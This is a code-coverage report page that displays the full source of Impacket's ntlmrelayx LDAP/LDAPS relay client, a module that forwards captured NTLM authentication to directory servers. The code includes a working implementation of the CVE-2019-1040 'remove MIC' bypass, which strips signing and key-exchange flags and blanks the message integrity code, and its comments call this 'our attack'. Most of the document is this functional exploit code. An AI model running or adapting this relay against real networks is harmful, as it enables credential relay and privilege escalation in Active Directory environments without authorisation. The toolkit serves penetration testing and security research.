Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py: 20%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py : 20%

## 115 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# LDAP Protocol Client

11# LDAP client for relaying NTLMSSP authentication to LDAP servers

12# The way of using the ldap3 library is quite hacky, but its the best

13# way to make the lib do things it wasn't designed to without touching

14# its code

15#

16# Author:

17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

18# Alberto Solino (@agsolino)

19#

20 import sys

21 from struct import unpack

22 from impacket import LOG

23 from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD

24 from ldap3.operation import bind

25 try:

26 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED

27 except ImportError:

28 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'")

29 sys.exit(1)

30

31 from impacket.examples.ntlmrelayx.clients import ProtocolClient

32 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

33 from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION

34 from impacket.spnego import SPNEGO_NegTokenResp

35

36 PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]

37

38 class LDAPRelayClientException(Exception):

39 pass

40

41 class LDAPRelayClient(ProtocolClient):

42 PLUGIN_NAME = "LDAP"

43 MODIFY_ADD = MODIFY_ADD

44

45 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):

46 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

47 self.extendedSecurity = extendedSecurity

48 self.negotiateMessage = None

49 self.authenticateMessageBlob = None

50 self.server = None

51

52 def killConnection(self):

53 if self.session is not None:

54 self.session.socket.close()

55 self.session = None

56

57 def initConnection(self):

58 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)

59 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)

60 self.session.open(False)

61 return True

62

63 def sendNegotiate(self, negotiateMessage):

64 negoMessage = NTLMAuthNegotiate()

65 negoMessage.fromString(negotiateMessage)

66

67 # When exploiting CVE-2019-1040, remove message signing flag

68 # For SMB->LDAP this is required otherwise it triggers LDAP signing

69 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM

70 if self.serverConfig.remove_mic:

71 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

72 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

73 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

74 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

75

76 self.negotiateMessage = negoMessage.getData()

77

78 # Warn if the relayed target requests signing, which will break our attack

79 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

80 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')

81

82 with self.session.connection_lock:

83 if not self.session.sasl_in_progress:

84 self.session.sasl_in_progress = True

85 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')

86 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

87 result = response[0]

88 try:

89 sicily_packages = result['server_creds'].decode('ascii').split(';')

90 except KeyError:

91 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

92

93 if 'NTLM' in sicily_packages: # NTLM available on server

94 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)

95 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

96 result = response[0]

97 if result['result'] == RESULT_SUCCESS:

98 challenge = NTLMAuthChallenge()

99 challenge.fromString(result['server_creds'])

100 return challenge

101 else:

102 raise LDAPRelayClientException('Server did not offer NTLM authentication!')

103

104 #This is a fake function for ldap3 which wants an NTLM client with specific methods

105 def create_negotiate_message(self):

106 return self.negotiateMessage

107

108 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

109 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

110 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

111 token = respToken2['ResponseToken']

112 else:

113 token = authenticateMessageBlob

114

115 authMessage = NTLMAuthChallengeResponse()

116 authMessage.fromString(token)

117 # When exploiting CVE-2019-1040, remove flags

118 if self.serverConfig.remove_mic:

119 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

120 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

121 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

122 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

123 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

124 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

125 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

126 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

127 authMessage['MIC'] = b''

128 authMessage['MICLen'] = 0

129 authMessage['Version'] = b''

130 authMessage['VersionLen'] = 0

131 token = authMessage.getData()

132

133 with self.session.connection_lock:

134 self.authenticateMessageBlob = token

135 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)

136 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

137 result = response[0]

138 self.session.sasl_in_progress = False

139

140 if result['result'] == RESULT_SUCCESS:

141 self.session.bound = True

142 self.session.refresh_server_info()

143 return None, STATUS_SUCCESS

144 else:

145 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':

146 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')

147 return None, STATUS_ACCESS_DENIED

148

149 #This is a fake function for ldap3 which wants an NTLM client with specific methods

150 def create_authenticate_message(self):

151 return self.authenticateMessageBlob

152

153 #Placeholder function for ldap3

154 def parse_challenge_message(self, message):

155 pass

156

157 class LDAPSRelayClient(LDAPRelayClient):

158 PLUGIN_NAME = "LDAPS"

159 MODIFY_ADD = MODIFY_ADD

160

161 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):

162 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

163

164 def initConnection(self):

165 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)

166 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)

167 self.session.open(False)

168 return True